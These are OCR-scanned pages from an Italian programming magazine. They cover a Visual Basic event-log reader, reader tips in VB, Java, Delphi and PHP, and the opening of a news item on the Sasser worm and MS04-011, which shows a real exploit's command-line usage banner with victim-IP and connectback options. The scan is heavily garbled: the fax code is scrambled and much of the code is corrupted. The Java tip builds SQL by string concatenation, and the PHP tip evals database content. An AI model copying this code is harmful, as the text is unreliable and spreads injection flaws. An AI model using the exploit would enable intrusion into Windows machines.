richiesto !",vbCritical, "Errore!" 
Exit Sub 

End If 

'...altrimenti 

If ViewLogoO Then 

'Leggi/Mostra l'evento più vecchio... 

ret=GetOldestEventLogRecord(ViewLog, OldestRecord) 

If retop Then 

frmMain.OldestRec.Caption=OldestRecord 

Else 

MsgBox "Non è possibile recuperare il record più 

vecch io !",vbCritical, "Errore!" 

End If 

'Numero di eventi del registro 
ret=GetNumberOfEventLogRecords(ViewLog, 

NumeroRecords) 

If retop Then 

frmMain.Num Ree. Caption = NumeroRecords 

Else 

MsgBox "Non è possibile recuperare il numero totale di 

records!", vbCritical," Errore!" 

End If 

'Mostra gli eventi 
MostraEventi (NumeroRecords) 

End If 

End Sub 

Questa procedura, in realtà, è molto semplice. Essa 
non fa altro che collegarsi al computer locale, aprire 
il file di log passatole come parametro, attraverso la 
chiamata alla funzione OpenEventLogO e restituire, 
all'interno di due etichette presenti sul form 
JrmMain, il numero totale di eventi presenti e quel- 
lo dell'evento più recente. A questo proposito è bene 
sottolineare un ulteriore particolare: qualcuno po- 
trebbe obiettare sull'uti- 
lità della funzione Get- 
OldestEventLogRecordO 
sostenendo che il record 
"più vecchio" è sempre 
quello con numero asso- 
luto pari ad uno, in realtà 
non bisogna dimenticare 
un dettaglio importante 
ossia il fatto che l'utente 
può aver impostato 
VEvent Viewer affinché 
elimini automaticamen- 



te un certo numero di eventi che risultino avere già 
una certa "anzianità". Questo, quindi, significa che il 
record più vecchio, presente all'interno di un regi- 
stro eventi, non deve corrispondere necessariamen- 
te a quello con numero assoluto pari ad uno, ma può 
variare. Al termine delle operazioni sopra citate, 
ReadEventStatQ richiama la procedura Mostra- 
EventiQ che ha proprio il compito di estrarre i dati 
relativi ai singoli record per poi popolare la listview 
opportuna. 



LA PROCEDURA 

MostraEvei\iti() 

La procedura MostraEventif) riassume, sottoforma 
di codice, quanto detto precedentemente a proposi- 
to della funzione ReadEventLogO- 

Public Sub MostraEventi(Optional NumRec As Integer) 
Dim DirezioneLettura As Long 'Determina l'ordine con 

il quale mostrare i record 
Dim ret As Long 'Generico valore di ritorno 

Dim NumRigaEvento As Integer 'Numero evento 

corrente da inserire 
Dim EvntBuffer() As Byte 'Buffer che conterrà l'evento 
Dim dwRead As Long 'Bytes letti da ReadEventLogO 
Dim dwNeeded As Long 'Numero di bytes necessari 

alla successiva 
'lettura da parte della ReadEventLogO 
Dim dwToRead As Long 'Numero di bytes da leggere 
NumRigaEvento=0 

'Imposta l'ordine di visualizzazione/lettura degli eventi 
If frmMain.cmbDirection.Text="Backwards read" Then 
'Mostra prima i record più recenti 
DirezioneLettura=EVENTLOG_BACKWARDS_READ Or 

EVENTLOG_SEQUENTIAL_READ 

Else 

'Mostra prima i record meno recenti 
DirezioneLettura=EVENTLOG_FORWARDS_READ Or 

EVENTLOG_SEQUENTIAL_READ 

End If 

'Cancella la lista degli eventi 

frmMain.LstEventDetails.Listltems.Clear 

If ViewLogoO And NumRecoO Then 

'Leggi l'event Log Event Log 

For NumRigaEvento=l To NumRec 

ret=ReadEventLog(ViewLog, DirezioneLettura, 

NumRigaEvento, Evento, dwToRead, dwRead, 

dwNeeded) 
If ret=0 And Err.LastDIIError=ERROR_INSUFFICIENT_ 

BUFFER Then 

dwNeeded = ((dwNeeded+3)\4)*4 

ReDim EvntBuffer(dwNeeded-l) As Byte 
ret=ReadEventLog(ViewLog, DirezioneLettura, 

NumRigaEvento, EvntBuffer(O), dwNeeded, dwRead, 

dwNeeded) 

End If 
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'Inizializza il puntatore a EvntBuffer 

PtrBuffer=VarPtr(EvntBuffer(Q)) 

'Formatta i dati secondo la struttura EVENTLOGRECORD 

RtIMoveMemory Evento, ByVal PtrBuffer, Len(Evento) 

'Inserisci i dati, formattandoli opportunamente, 

'all'interno della Listview 

Visual izzaSingoloRecord NumRigaEvento 

Next NumRigaEvento 

End If 

'Chiudi il registro eventi 
ret=CloseEventLog(ViewLog) 

If ret=0 Then 

Debug. Print "Non è stato possibile chiudere il registro 
eventi !",vbCritical," Errore!" 

End If 

End Sub 

La prima operazione compiuta è quella di verificare 
la modalità di lettura del registro eventi. A questo 
proposito viene controllato il valore della Combo- 
Box cmbDirection ed in base ad essa, viene imposta- 
ta la variabile DirezioneLettura che costituirà il se- 
condo parametro della ReadEventLogO- Una volta 
effettuato questo primo controllo, la procedura can- 
cella ogni item presente all'interno della ListView 
IstEventDetails preparandola ad accettare i nuovi 
item che verranno via via letti. A questo punto inizia 
il lavoro di estrazione vero e proprio, realizzato attra- 
verso un ciclo che ad ogni passo compie le opera- 
zioni descritte nel box accanto. A questo punto il 
buffer EvntBuffer, puntato da PtrBuffer, contiene tut- 
ti i dettagli del record estratto e può essere finalmen- 
te letto. La funzione API RtIMoveMemory si occupa 
proprio di formattare quest'area di memoria nel for- 
mato rappresentato dalla struttura EVENTLOGRE- 
CORD. Ora tutto è pronto, viene richiamata la proce- 
dura VisualizzaSingoloRecordO- 



LA PROCEDURA 

VisualizzaSingolo 
Record() 

La procedura in oggetto si occupa di visualizzare al- 
cune informazioni sul record-evento appena estrat- 
to. Le viene passato come parametro il numero di 
record corrente, ma in realtà questo dato non è mai 
sfruttato all'interno della procedura. Il codice com- 
pleto di VisualizzaSingoloRecordO potete trovarlo 
nel CD allegato. L'estrazione dei dati relativi al sin- 
golo record presenta diversi aspetti per molti versi 
complessi. Alcuni particolari esempi sono l'estrazio- 
ne delle informazioni aggiuntive che aggiungono 
dettagli maggiormente esplicativi all'evento genera- 
to o la conversione del SID in un formato "leggibile". 
Poiché, come già spiegato all'inizio, il progetto non 
vuol sostituire YEvent Viewer, ma semplicemente 



offrire degli spunti dai quali approfondire eventual- 
mente l'argomento, molti di questi aspetti sono stati 
volutamente tralasciati. Infatti, la funzione Visualiz- 
zaSingoloRecordO mostra soltanto alcune informa- 
zioni di base, come l'Event ID o il computer dal 
quale è stato generato l'evento, mostrando per alcu- 
ne voci (come il SID), semplicemente dei riferimen- 
ti. Il codice allegato è piuttosto "banale" da com- 
prendere, soprattutto alla luce delle considerazioni 
precedenti. Tuttavia, anche per questa procedura, 
occorre fare alcune piccole precisazioni. Qualcuno 
avrà senza dubbio notato che la maggior parte delle 
informazioni su ciascun record estratto sono prele- 
vabili direttamente dalla struttura Evento che, lo 
ricordiamo, assume la "forma" della EVENTLOGRE- 
CORD. Tuttavia, come nel caso dell'estrazione della 
sorgente, si sarà certamente notato che tale infor- 
mazione non equivale a nessuno dei suoi item, ma 
risulta essere "accodata" ad essa. Quello della sor- 
gente che ha generato l'evento non è l'unico esem- 
pio. In effetti, ad ogni evento rappresentabile "in 
prima istanza" dalla struttura EVENTLOGRECORD, 
vengono aggiunte delle informazioni che non 
hanno e non possono avere una definizione precisa 
poiché possono variare da un evento all'altro. Per 
essere più precisi, in coda ad Evento, troviamo le 
seguenti ulteriori informazioni: SourceName, 
ComputerName, UserSID, Strings, Data, Pad, Lenght. 
Senza scendere nei dettagli e volendo sfruttare la 
stessa terminologia utilizzata all'interno di Visualiz- 
zaSingoloRecordO, appare evidente che, se decidessi 
di leggere il nome del computer, ad esempio, dovrei 
spostare il mio puntatore ad una posizione pari a 
PtrBuffer+<Lunghezza record corrente>+<Lunghezza 
item SourceNamo dove Lunghezza record corrente 
è ottenuta attraverso Len (Evento) mentre Lunghezza 
item SourceName è ottenuta attraverso l'istruzione 
lstrlenptr(PtrBuffer+Len(Evento)). Per essere più pre- 
cisi, rammento che la funzione Istrlenptr consente 
di ottenere la lunghezza di una stringa "puntata" da 
una variabile. Analogamente, la lettura dello User- 
SID. Un'ultima considerazione importante riguarda 
l'estrazione delle informazioni riguardanti il mo- 
mento in cui si è verificato l'evento e quello in cui è 
stato realmente notificato /scritto. Gli item TimeGe- 
nerated e TimeWritten della struttura EVENTLO- 
GRECORD conservano il numero di secondi inter- 
correnti dallo 01/01/1970 ad oggi espressi secondo il 
fuso orario GMT Ovviamente, per la corretta con- 
versione, è necessario considerare fuso orario 
attuale configurato sul computer in uso. Nel nostro 
caso, infatti, sapendo che, rispetto a GMT, è neces- 
sario aggiungere un'ora (ossia 3600 secondi), la 
generica formula (applicata a Evento.TimeWritten 
ad esempio), che ottiene il corretto valore, è la se- 
guente: DateAdd("s", Evento.TimeWritten+3600, 
#1/1/1970#). 

Francesco Lippa 




IL CICLO 
NECESSARIO 
A LEGGERE 
UN EVENTO 

• Richiamo della 
funzione 

ReadEventLogO co- 
stringendola a restitui- 
re il numero di byte 
occorrenti per poter 
leggere il successivo 
record del registro 
eventi. Questa condi- 
zione è controllabile 
attraverso due para- 
metri: il valore di ret, 
restituito dalla funzio- 
ne, equivale a zero e il 
codice di errore resti- 
tuito (consultabile at- 
traverso la chiamata 
VB Err.LastDllError) 
equivale alla costante 
ERROR INSUFFICIENT B 
UFFER; 

• Ridimensionamento 
dell'array EvntBufferQ 
in base al valore 
dwNeeded restituito 
dalla funzione a segui- 
to dell'evento prece- 
dente; 

• Richiamo della fun- 
zione ReadEventLogO 
con i parametri 
corretti. 
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I trucchi del mestiere 



Tips & Tricks 

La rubrica raccoglie trucchi e piccoli pezzi di codice che solitamente non trovano posto nei manuali, ma sono frutto 
dell'esperienza di chi programma. Alcuni trucchi sono proposti dalla Redazione, altri provengono da una ricerca su 
internet, altri ancora ci giungono dai lettori. Chi vuole contribuire potrà inviarci i suoi tips&tricks preferiti che, una volta 
scelti, verranno pubblicati nella rubrica. Il codice completo dei tips è presente nel CD allegato nella directory \tips\o sul 
Web all'indirizzo: cdrom.ioprogrammo.it. 




VISUAL 
BASIC 



UNA RAPPRESENTAZIONE 
GRAFICA PER I MOSTRI DATI 

Alcune applicazioni necessitano, dopo aver elaborato un certo 
numero e tipo di dati, di mostrare i risultati ottenuti con l'ausilio 
di controlli ad alto impatto visivo come i grafici. Esistono nume- 
rosi controlli di terze parti che offrono la possibilità di risolvere 
questo problema, ma con le possibilità che il Framework .NET ci 



offre, è possibile creare questi controlli personalmente. La proce- 
dura allegata, sviluppata in Visual Basic .NET, permette la crea- 
zione di un controllo per la visualizzazione di semplici grafici, 
con la possibilità di inserire etichette per ogni punto del grafico, 
scelta dei colori delle linee, zoom in/out, etc... Il codice, data la 
sua prolissità, è presente nel CD-Rom allegato alla rivista e/o sul 
sito web di ioProgrammo {www.ioprogrammo.it). 

Tip fornito dal sig. RLibro 

MANIPOLARE UHI DOCUMENTO 
WORD DA VISUAL BASIC 

Codice utile per aprire o creare un modello di Word da Visual 



^fl-!-' ag 



IL TIP DEL MESE 

COME INVIARE UN FAX 
DAL PROPRIO PC 



Il codice permette di implementare, in una propria applicazione, l'in- 
vio di documenti es. Word, PDF, Excel (...tutti i documenti stampabili) 
via fax usando i Fax Services nativi di Windows 2000. Per funzionare 
ovviamente occorre che sul PC/Server sia installato Microsoft Fax 
(viene installato automaticamente quando si installa un modem sul 
sistema) e che dunque esista la stampante Fax e nessun altro software 
aggiuntivo o a pagamento. Nell'esempio è compreso anche un banale 
form che permette di specificare il numero del destinatario, il nome del 
file documento da allegare (*.doc, *.pdfl e l'eventuale cover da allegare. 
Tale cover page deve essere realizzata con l'apposito cover designer for- 
nito da Microsoft {Start->Impostazioni->Pannello di controllo->Fax- 
>folder "Frontespìzi" ->Nuovo). Il codice è presente in formato sorgen- 
te nel CD-Rom allegato alla rivista e/o sul sito web di ioProgrammo 
(www.ioprogrammo.it) 

Tip fornito dal sig. SAleotti 

Option Explicit 

Private Const OF_EXIST = &H4000 

Private Const OFS_MAXPATHNAME = 128 

Private Const ERROR_FILE_NOT_FOUND = 2& 

Private Const HFILE_ERROR = (-1) 

Private Declare Function GetComputerName Lib "kemel32" Alias 
"GetComputerNameA" (ByVal IpBuffer As String, nSize As Long) As Long 
Private Declare Function OpenFile Lib "kernel32" (ByVal IpFileName 

As String, IpReOpenBuff As OFSTRUCT, ByVal wStyle As Long) As Long 
Private Type OFSTRUCT 
cBvtes As Byte 



Public Function FileExists(Path As String) As Boolean 

Dim o As OFSTRUCT 

Dim i As Integer 

o.cBytes = Len(o) 

i = OpenFile(Path, o, OF_EXIST) 



If (i > HFILE_ERROR) Then 

FileExists = True 
Else 



FileExists = (Err.LastDNError <> ERROR_FILE_NOT_FOUND) 



End If 

Err.Clear 
End Function 



Public Sub DisabilitaControlli(value As Boolean) 



Dim e As Control 

Framel.Enabled = value 

For Each e In FormMain. Controls 



On Error Resumé Next 



If (c.Container.Name 

Err.Clear 

Next 



Framel.Name) Then c.Enabled = value 



End Sub 



Function ComputerName() As String 

Dim buffer As String * 512, length As Long 
length = Len(buffer) 



If GetComputerName(buffer, length) Then 



ComputerName 
End If 
End Function 



Left$( buffer, length) 



Private Sub CHK_COVER_Click() 



Dim i As Integer 
Dim e As Control 
If (CHK_COVER.value 



1) Then 



DisabilitaControlli True 



Else 



fFixedDisk As Byte 



nErrCode As Integer 



DisabilitaControll 
End If 



False 



Reservedl As Integer 
szPathName(OFS_MAXPATHNAME) As Byte 



End Sub 



fc 



End Type 



Private Sub Commandl_Click() 
Dim o /er As Object 

Dim objFaxDoc As Object 
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Basic e inserirvi del testo passato dall'applicazione VB. Anzitutto 
è necessario creare un file modello chiamandolo appunto model- 
lo.dot e creare all'interno di esso 4 bookmark di nome a,b,c,d. 
Creare poi in vb un form con tre campi di testo e 6 pulsanti ed 
incollare il codice seguente. 

Tip fornito dalsig. C.Calabrò 

Private Sub Commandl_Click() 
On Error GoTo Errore 

'definisce che oggetto è objWord (in questo caso è una nuova 

applicazione Word) 
Dim objWord As Word. Application 
'definisce che oggetto è objDoc (in questo caso è un nuovo 

documento Word) 

Dim objDoc As Word.Document 

'ora che objWord è dichiarato si vuole effettivamente 'aprire 

questa nuova applicazione Word 

Set objWord = New Word. Application 

'ora che objDoc è dichiarato si vuole effettivamente 'aprire 

questo nuovo documento 
Set objDoc = objWord. Documenta. Add(app.path & "\Modello.dot") 
'si rende visibile Word 
objWord. Visible = True 
'rende attivo il documento appena creato 
objDoc. Adivate 



objDoc. Save 






Errore: 


MsgBox "Il salvataggio è necessario" 


, vbExclamation, 


"Cristiano 
Calabro 



End Sub 

Private Sub Command2_Click() 

Dim objWord As Word. Application 

Dim objDoc As Word.Document 

Set objWord = New Word. Application 

Set objDoc = objWord. Documents.Add(App.Path & "\Modello.dot") 

objWord. Visible = True 

objDoc. Adivate 

objDoc. Bookmarks("a").Range = Textl.Text 

objDoc. Bookmarks("b").Range = Text2.Text 

objDoc. Bookmarks("c").Range = Text3.Text 

objDoc. Bookmarks("d").Range = Date & " - Segnalibro d" 

objDoc. PrintPreview 
End Sub 
Private Sub Command4_Click() 

Dim objWord As Word. Application 

Dim objDoc As Word.Document 

Set objWord = New Word. Application 

Set objDoc = objWord. Documenta. Add(App.Path & "\Modello.dot") 

objWord. Visible = True 

objDoc. Adivate 



On Error GoTo ErrTrap 


Set objFaxServer = Nothing 


If (RTrirm(TXT_SERVER.Text) <= "") Then 


Exit Sub 
ErrTrap: 

Select Case MsgBox("Errore:(" & Err.Number & ")" & 

Err.Description, vbAbortRetrylgnore Or vbCritical, Caption) 
Case vbRetry 


• 
TXT^SERVER.SetFocus 


Exit Sub 


End If 


If (RTrim(TXT_FILE.Text) <= "" Or Not FileExists(TXT_FILE.Text)) Then 


Resumé 


MsgBox "Specificare il nome dell'alegato (Pdf/Word)", 


Case vbAbort 


vbCritical Or vbOKOnly, Caption 


If (Not objFaxDoc Is Nothing) Then Set objFaxDoc = Nothing 


TXT_FILE.SetFocus 


Exit Sub 


Exit Sub 


End If 


Case vblgnore 


If (RTrirm(TXT_NUMERO.Text) <= "") Then 


Resumé Next 


MsgBox "Specificare il numero telefono", vbCritical Or 

vbOKOnly, Caption 


End Select 
End Sub 

Comn /Open 
TXT_FILE.Text = Com Marne 
End Sub 

. 

Comn vOpen 
TXT^COVER.Text = CommonDialog.FileName 
End Sub 

Private Sub Form_Load() 

TXT._SERVER.Text = GetSettingfApp.EXEName, "INPUT", "SERVER") 
If (RTrim(TXT_SERVER.Text) <= "") Then 
TXT_SERVER.Text = ComputerName 


TXT_NUMERO.SetFocus 


Exit Sub 


End If 


If (CHK_COVER.value = 1) Then 


If (RTrim(TXT_COVER.Text) <= "" Or Not 

FileExists(TXT_COVER.Text)) Then 


TXT_COVER.SetFocus 


Exit Sub 


End If 


End If 




objFaxServer.Connect (TXT_SERVER.Text) 


Set objFaxDoc = objF :(TXT_FILE.Text) 


objFaxDoc.FaxNumber = TXT_NUMERO.Text 


End If 

TXT_FILE.Text = GetSetting(App.EXEName, "INPUT", "FILE") 

TXT_NUMERO.Text = GetSetting(App.EXEName, "INPUT", "NUMERO") 

CHK^COVER.value = 

DisabilitaControlli False 


objFaxDoc.RecipientName = TXT_DESTINATARIO.Text 


If (CHK_COVER.value = 1) Then 




objFaxDoc.CoverPageName = TXT_COVER.Text 


objFaxDoc.CoverPAgeSubject = TXT_OGGETTO.Text 


End Sub 

Private Sub Form_Ur ger) 

SaveSetting App.EXEName, "INPUT", "SERVER", TXT_SERVER.Text 
SaveSetting App.EXEName, "INPUT", "FILE", TXT_FILE.Text 


objFaxDoc.CoverPageNote = TXT_NOTE.Text 


End If 


objFaxDoc.Send 


Set objFaxDoc = Nothing 


SaveSetting App.EXEName, "INPUT", "NUMERO", TXTJNUMERO.Text 


objFaxServer.Disconnect 


End Sub 
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objDoc.PrintOut 

objWord.Quit (False) 

End Sub 

Private Sub Command5_Click() 

Dim objWord As Word. Application 

Dim objDoc As Word.Document 

Set objWord = New Word. Application 

Set objDoc = objWord. Documents.Add 

objWord. Visible = True 

objDoc. Activate 

objDoc. Save 
End Sub 
Private Sub Doc_Click() 

Dim objWord As Word. Application 

Dim objDoc As Word.Document 

Set objWord = New Word. Application 

Set objDoc = objWord. Documents.Add 

objWord. Visible = True 

objDoc. Activate 
End Sub 
Private Sub Form_l_oad() 

Textl.Text = "Segnalibro a" 

Text2.Text = "Segnalibro b" 

Text3.Text = "Segnalibro e" 
End Sub 
Private Sub Mod_Click() 

Dim objWord As Word. Application 

Dim objDoc As Word.Document 

Set objWord = New Word. Application 

Set objDoc = objWord. Documents.Open(App.Path & "\Modello.dot") 

objWord. Visible = True 

objDoc. Activate 
End Sub 




JAVA 



COPIARE I DATI 
TRA DUE DATABASE 

Il programma è utile per copiare i dati di una tabella da un DB 
all'altro passando i driver dei DB come parametri alla JVM; tip è 
strutturato per esemplificare il trasferimento di una singola tabel- 
la " Utenti" i cui campi sono Nome,Cognome,cod. 
Il codice è presente in formato sorgente nel cd-rom allegato alla 
rivista e/o sul sito web di ioProgrammo (.www.ioprogrammo.if) 

Tip fornito dal sig. R.Gabbarelli 

import java.sql.*; 

public class SQLServerToAccess { 

static final String FORNAME="sun.jdbc.odbc.JdbcOdbcDriver"; 

static String Driverlnput; 

static String DriverOutput; 

public static void main(String[] args) throws ClassNotFoundException{ 

try{ 

Class. forName(FORNAME); 

DriverInput="jdbc:odbc:"+args[0]; //driver del database sql 



DriverOutput="jdbc:odbc:"+args[l]; //driver del database access 
Connection conIn = DriverManager.getConnection (Driverlnput); 
Connection conOut=DriverManager.getConnection(DriverOutput); 
Statement stIn=conIn.createStatement(ResultSet.TYPE_ 

SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY); 
ResultSet rs=stIn.executeQuery("select * from Utenti"); 

//il resultset dev'essere scrollabile a causa di un problema 
rs.first(); 

do{ 

String nomeUtente=rs.getString(l); 
String cognomeUtente=rs.getString(2); 
int codiceUtente=rs.getInt(3); 
Statement stOut=conOut.createStatement(); 
stOut.execute("INSERT INTO Utenti VALUES('"+nomeUtente+" 
, ,"'+cognomeUtente+"',"+codiceUtente+")"); 

} 

while(rs.next()); 

rs.last(); //questa e le righe a seguire servono ad ovviare 
ad un problema di inserimento dell'ultimo valore 
Statement first=conOut.createStatement(); //inserito nel 

DB di partenza 
first. execute("insert into Utenti values("'+rs.getString(l) 

+ , ",'"+rs.getString(2)+'","+rs.getInt(3) + ")"); 

System. out.println("Copia Terminata!"); 
System. exit(O); 
}catch(SQLException e) 

r 

System. out.println ("SQL Exception!"); 
System. exit(l); 



} 

ESEGUIRE OPERAZIONI 
IM BACKGROUND 

Una serie di classi Java per eseguire una serie di operazioni in 
background. Basta estendere Abstractjob implementando execu- 
teO e BackgroundJobExecutor eseguirà" in serie i lavori che ven- 
gono inseriti. Le classi sono: Prova.java, Abstractjob.java e Back- 
groundJobExecutor.java. I codici sono presenti in formato sorgen- 
te nel cd-rom allegato alla rivista e/o sul sito web di ioProgrammo 
(www.ioprogrammo.it) 

Tip fornito dal sig. M.Schiavon 

import java.util.*; 

public class BackgroundJobExecutor implements Runnable { 
private Queue queue; 
private boolean stopRequest = false; 
private boolean stopping = false; 
private Thread thread; 

private final AbstracUob nop = new AbstractJob() { 
public void execute() { 
dispose(); 

} 

}; 

public BackgroundJobExecutor() { 
queue = new Queue(); 
thread = new Thread(this); 
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} 

/** 

* Inizia a processare i job 

_V 

public void startQ { 

thread.startQ; 

_} 

/** 

* Aggiunge un job alla coda 

*/ 

public boolean add(AbstractJob job) { 

if (job == nuli) { 

throw new NullPointerException("Job cannot be nuli"); 

} 

if (stopRequest 1 1 stopping) { 

throw new IllegalArgumentException("BackgroundJobExecutor 

has been stopped."); 

} 

return queue.put(job); 

} 

public void run() { 

while (IstopRequest) { 

AbstractJob I = (AbstractJob)queue.get(); 

if (I == nuli) { 

break; 

} 

l.execute(); 

} 

dispose(); 

_J 

/** 

* Termina i job in coda e si ferma 

*/ 

public void stop() { 
if (stopRequest) { 

throw new IllegalArgumentException("BackgroundJobExecutor 

has been stopped."); 

} 

if (Istopping) { 

stopping = true; 

queue.putLast(nop); 
} 

} 

/** 

* Ferma l'esecusione senza necessariamente aver terminati i job in coda 
_V 

public void disposeQ { 

stopRequest = true; 

queue.clear(); 

if (thread != nuli) { 

thread.interrupt(); 
thread = nuli; 

} 

} 

private class Queue { 

private List list = new LinkedListQ; 
public synchronized Object get() { 
while (list.size() == 0) { 



try{ 

waitQ; 

} catch (InterruptedException ex) { 
return nuli; 

} 

} 

Object o = list.iterator().next(); 

list.remove(o); 

return o; 

y 

public synchronized boolean put(Object obj) { 
boolean b = list.add(obj); 
notify(); 
return b; 

y 

public synchronized void clearQ { 

Hst.clearQ; 

y 

public synchronized void putLast(Object o) { 
list.add(list,size(), o); } } 




DELPHI 

OTTIMIZZARE L'UTILIZZO 
DEI COMBOBOX 

Capita spesso di utilizzare maschere di inserimento/variazione 
dati in cui si devono selezionare dei valori provenienti da alcune 
tabelle in condizioni di carenza di spazio sulle form. Per ovviare a 
questo problema esistono i ComboBox, ed il componente data- 
aware dbComboBox. Le selezioni da ComboBox precaricati, con i 
valori contenuti in una tabella, non presentano difficoltà se la 
riga di testo della selezione è costituita da un solo campo che è 
poi anche una chiave (o un indice univoco) per la tabella sorgen- 
te dei dati. Occorre scrivere un po' di codice se, invece, la riga di 
testo visualizzata dal ComboBox deve contenere i dati di due o 
più campi, e se, in base ad un altro valore presente nella tabella, 
si desidera cambiare il colore del testo di visualizzazione. 

Tip fornito dal sig. P.Perì 

L'idea semplice che sta dietro a questa soluzione è quella di uti- 
lizzare un carattere non stampabile che separi i campi all'interno 
della stringa di testo che viene utilizzata come riga del Com- 
boBox. - ho scelto di utilizzare il carattere CR (#13) - e rendere 
visibili solo i campi desiderati, mentre quelli necessari alla ricer- 
ca univoca nella tabella vengono nascosti. In fase di cambiamen- 
to dell'indice attivo del ComboBox occorre procedere all'opera- 
zione inversa, ovvero ricostruire i campi necessari alla ricerca 
univoca. Per esempio (esempio che non ha nessuna attinenza 
con le applicazioni reali) si è costruita una tabella Access la cui 
struttura è la seguente: 



Tabella_Persone 

ID Contatore 

Cognome Testo (20) 



Chiave primaria 

Indicizzato (duplicati ammessi) 
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Nome 

Data_di_nascìta 

Luogo_di_nascita 

Codicejiscale 

Attivo 



Testo (20) 
Data/ Ora 
Testo (40) 
Testo (16) 

Sì/No 



Indicizzato (duplicati ammessi) 



Indicizzato (duplicati non ammessi) 



Il campo privilegiato per la ricerca è ID, ma la selezione da parte 
dell'utente avviene in base ai campi Cognome e Nome che saran- 
no i soli visualizzati nel ComboBox. Il campo Attivo determinerà, 
invece se il colore con cui vengono scritti i nomi nel ComboBox è 
nero (o un qualunque altro colore di default) oppure rosso (o un 
qualunque altro colore di evidenziazione). Per poter scrivere nel- 
l'oggetto canvas del controllo ComboBox occorre poter "bypassa- 
re" il drawing di default dello stesso, cosa che si ottiene impo- 
stando la proprietà Style a csOwnerDrawFixed. Infine per poter 
eseguire la selezione in ordine alfabetico sul controllo occorre 
impostare la proprietà Sorted a True. 

Il codice è presente in UnitComboBoxPluricolonna.pas ed è pre- 
sente, insieme ad un'applicazione di esempio, nel CD-Rom alle- 
gato alla rivista e/o sul sito web di ioProgrammo [www.iopro- 
grammo.it) 




PHP 



UTILIZZO DEI TEMPLATE 

Per utilizzare i template PHP al meglio proviamo a seguire i 
seguenti semplici passi: la prima operazione da fare è scomporre 
la pagina nei suoi elementi fondamentali, ad esempio: 

• body 

• colonna sx 

• colonna centrale 

E trovare in questi elementi i sotto-elementi ripetitivi ad esempio: 

• voce di menu 

• sommano di un articolo. 

Per ognuno di questi sostituite il contenuto dinamico dell'ele- 
mento con una variabile. Ad esempio il codice dell'elemento 'vo- 
ce di menu ' potrebbe passare da: 

<a href = "menu. htm" > menu </axbr> 



<a href="$collegamento">$voce</axbr> 

Se l'elemento è per esempio la colonna sinistra del vostro sito 
potete scomporla in molti sotto elementi, che poi saranno rias- 
semblati con un metodo intuitivamente simile a quello delle 
matrioske. Fatto questo salvate gli elementi fondamentali e quel- 
li ripetitivi in un record di una tabella di un database e associate 
ad ogni elemento un id univoco. 
A questo punto nella vostra pagina php si tratta soltanto di richia- 



mare gli elementi memorizzati richiesti dalla pagina e riempire le 
rispettive variabili con i valori voluti. Ad esempio supponiamo 
che l'elemento 'colonna sinistra' contenga: 

<p>$menu</p> 

Potremmo recuperare l'elemento 'voce di menu' dai database ed 
effettuare un procedimento simile al seguente: 



<? 


$collegamento = "home. htm"; 


$voce = "Torna all'homepage"; 


eval("\$menu .= \"".$vocedimenu."\";"); \\ dove $vocedimenu 
contiene l'elemento dell'esempio precedente. 


$collegamento = "links.htm"; 


$voce = "Visita i link"; 


eval("\$menu .= \"".$vocedimenu."\";"); 


eval("\$outputfinale .= \"".$colonnasinistra."\";"); \\ 


$colonnasinistra contiene il template della 


?> 



La potenza che si ottiene lavorando con i template è altissima. Tra 
i vantaggi si può elencare la flessibilità, la riusabilità del codice e 
la chiarezza del sorgente generato. 

Tip fornito dal sig. S.Paganotti 



che ti premia 



Questo mese 
in palio una 

FANTASTICA^ 

SCHEDA i 
WIRELESS 



Sitecom 
WL-100 



Inviaci la tua soluzione ad un problema di 

programmazione, una faq, un tip... 

Tra tutti quelli giunti mensilmente in redazione, 

saranno pubblicati i più meritevoli e, fra questi, 

scelto il Tip del mese, 
PREMIATO CON UN FANTASTICO OMAGGIO! 

Invia i tuoi lavori a ioprogrammo@edmaster.it 
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E giunta l'ora di accendere i firewall e scalciare gli antivirus! 

Sasser: un altro exploit 
tramutato in worm! 

L'ennesima caccia all'untore è iniziata: pochi giorni dopo la scoperta di 
una vulnerabilità di Windows, ecco entrare in scena un nuovo pericoloso 
worm (Sasser) che ha le carte in regola per diventare l'erede di Blaster. 



La filosofia Microsoft nella gestione e nel 
rilascio delle patch pare essere cambiata 
radicalmente con l'ultimo bollettino di 
sicurezza rilasciato per i sistemi Windows XP e 
2000. Il bollettino MS04-11 {http://www.micw- 
soft. com/technet/security/bulletin/ms04-01 1 . mspx) è 
stato infatti argomento di molte critiche e com- 
menti sarcastici da parte di tutti gli esperti di 
sicurezza, per due motivi fondamentali che 
andremo ad esaminare più da vicino. 



IL BOLLETTINO 
MS04-11 

Primo: i più maligni hanno subito osservato 
che la singola patch rilasciata da Microsoft 
andava a tappare ben 14 vulnerabilità di 
Windows e quasi tutte di tipo "Remote Code 
Execution"; il popolo del pinguino (i Linuxiani, 
ndr) sostiene che Microsoft con questa strate- 
gia di "14 al prezzo di 1", stia cercando di miti- 
gare i propri errori di sviluppo e cerchi di salva- 
re l'immagine pubblica, accorpando tante 
patch in un unico pacchetto, per evitare conti- 
nui rilasci di bugfix e aggiornamenti. Sembra 
infatti che chi utilizza Windows, passi metà del 
suo tempo a scaricare patch! 
Secondo punto, degno di nota: molti ammini- 
stratori che hanno installato le patch del bol- 
lettino MS04-11 prontamente e con diligenza 
per evitare di restare scoperti agli attacchi degli 
hacker, si sono invece ritrovati nella condizio- 
ne di avere le proprie macchine Windows 2000 
bloccate o non funzionanti, perché sembra che 
le patch di MS04-11 non fossero state testate al 
100% (probabilmente a causa della fretta nel 
rilascio) e in alcuni casi potevano generare 
problemi di avvio, CPU al 100%, impossibilità 
ad autenticarsi. 
È uno di quei pochi casi - sfortunati - in cui la 



soluzione ad un problema può generare più 
danni del problema stesso! 



LA VULNERABILITÀ 



□ CD U WEB 

ExploMlzip 



VL 



■ • ' ■• ai 



Delle 14 vulnerabilità fixate da Microsoft, una 
fra tutte è balzata agli occhi di tutti sia per la 
sua gravità (esecuzione remota dei comandi 
inviati da un aggressore), sia per il fatto che 
prontamente, per questo bug, è circolato in 



Jfllxl 



ID : \>HOD-nsB40ÌÌ-lsas: 

ME 04011 Lsasru .dll RPC buffer ouerf lou re no te exploit uB.l 
Coded by .::[ houseof dabus ] = = . 



[HOD-ms04011-lsasru-expl.exe <target> <uictim IP> <bindport> [connectback IP] [op 
Itions ] 



Targets : 

[0x01004600]: 

1 [0xVE15123c]: 

2 [0xV51cl23c]: 



Opt ions : 
— t : Detect renote OS : 
Windows 5.1 - UinXP 
Windows 5.0 - Uln2k 




